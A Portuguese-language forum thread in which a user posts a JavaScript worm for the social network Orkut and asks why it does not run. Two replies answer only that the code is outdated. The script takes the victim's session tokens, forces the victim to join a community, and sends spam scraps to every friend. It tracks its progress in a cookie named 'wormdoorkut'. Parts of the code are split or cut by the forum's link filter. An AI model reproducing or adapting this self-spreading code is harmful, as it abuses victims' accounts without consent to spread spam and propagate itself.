Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Help Javascript no orkut Help Javascript no orkut

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Duvida Help Javascript no orkut Help Javascript no orkut

    Seguinte to com esse javascript que a função dele no caso eu quero usar para que as pessoas entrem em determinada comunidade no orkut .. mais quando eu hospedo não acontece nada '-'
    alguem pode me ajudar? o java é o seguinte (acho que esta com algum erro q nao estou identificando x



    <script type="text/javascript">
    var index=0;
    var POST=JSHDF["CGI.POST_TOKEN"];
    var SIG=JSHDF["Page.signature.raw"];

    function createXMLHttpRequest() {
    try {
    return new ActiveXObject("Msxml2.XMLHTTP")
    }
    catch(e){};
    try {
    return new ActiveXObject("Microsoft.XMLHTTP")
    }
    catch(e){};
    try {
    return new XMLHttpRequest()
    }
    catch(e){};
    return null
    };

    function setCookie(name,value,expires,path,domain,secure) {
    var curCookie=name+"="+escape(value)+(expires?"; expires="+expires.toGMTString():"")+(path?"; path="+path:"")+(domain?"; domain="+domain:"")+(secure?"; secure":"");
    document.cookie=curCookie
    };

    function getCookie(name) {
    var dc=document.cookie;
    var prefix=name+"=";
    var begin=dc.indexOf("; "+prefix);
    if(begin == -1) {
    begin= dc.indexOf(prefix);
    if (begin != 0) {
    return false
    }
    }
    else { begin += 2};
    var end=document.cookie.indexOf(";",begin);
    if(end==-1) {
    end=dc.length
    };
    return unescape( dc.substring(begin+prefix.length,end))
    };

    function deleteCookie(name,path,domain) {
    if (getCookie(name)) {
    document.cookie=name+"="+(path?"; path="+path:"")+(domain?"; domain="+domain:"")+";
    expires=Thu, 01-Jan-70 00:00:01 GMT";
    history.go(0)
    }
    };

    function loadFriends() {
    var xml=createXMLHttpRequest();
    if (xml) {
    xml.open("GET"," http://www.orkut.com/Compose.aspx",true);
    xml.send(null);
    xml.onreadystatechange = function() {
    if(xml.readyState == 4 ) {
    if(xml.status == 200) {
    var xmlr = xml.responseText ;
    var div = document.createElement("div");
    div.innerHTML = xmlr;
    var select = div.getElementsByTagName("select").item(0);
    if(select) {
    select.removeChild(select.getElementsByTagName("op tion").item(0));
    select.setAttribute("id","selectedList");
    select.style.display = "none";
    document.body.appendChild(select);
    sendScrap()
    }
    }
    else {
    loadFriends()
    }
    }
    };
    xml.send(null)
    }
    };

    function cmm_join() {
    var send = "POST_TOKEN="+encodeURIComponent(POST)+"&signature ="+encodeURIComponent(SIG)+"&Action.join";
    var xml = createXMLHttpRequest();
    xml.open('POST',' Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xml.send(send);
    xml.onreadystatechange = function() {
    if (xml.readyState == 4) {
    if(xml.status != 200) {
    cmm_join();
    return
    };
    loadFriends()
    }
    }
    };

    function sendScrap() {
    if (index==document.getElementById("selectedList").le ngth) { return };
    var scrapText="eu çol çagaiz";
    var send = "Action.submit=1&POST_TOKEN="+encodeURIComponent(P OST)+"&scrapText="+encodeURIComponent(scrapText)+" &signature="+encodeURIComponent(SIG)+"&toUserId="+ document.getElementById("selectedList").item(index ).value;
    var xml=createXMLHttpRequest();
    xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);
    xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
    xml.send(send);
    xml.onreadystatechange = function() {
    if( xml.readyState==4) {
    index++;
    var wDate = new Date;
    wDate.setTime(wDate.getTime()+86400);
    setCookie('wormdoorkut',index,wDate);
    sendScrap()
    }
    }
    };

    if (!getCookie('wormdoorkut')) {
    var wDate=new Date;
    wDate.setTime(wDate.getTime()+86400);
    setCookie('wormdoorkut','0',wDate)
    };

    index=getCookie('wormdoorkut');
    cmm_join();
    </script>

  • Font Size
    #2
    " o java é o seguinte ("
    Amigo não existe Java nesse código, mas sim JavaScript(JS), Java é outra coisa, e o motivo de não funcionar é porque o orkut mudou sua engine que faz o handler do JavaScript, e também está investindo na engine server side, enfim, aprenda JavaScript com o Douglas Crockford ( ou algo do genero ), e tente algo novo já que se não me engano essa implementação eu vi sendo usada lá por 2006 , ou mesmo 2004.

    Comment


    • Font Size
      #3
      Na verdade a maior parte desse código aí é de ajax, você devia ter postado isso no tópico certo, apesar de que talvez esse código não funcione mais, segundo nosso amigo 5Y5T3M, principalmente se for muito antigo.
      --
      Johnny Sys


      A mente que se abre a uma nova ideia jamais voltará ao seu tamanho original

      Comment

      X
      Working...
      X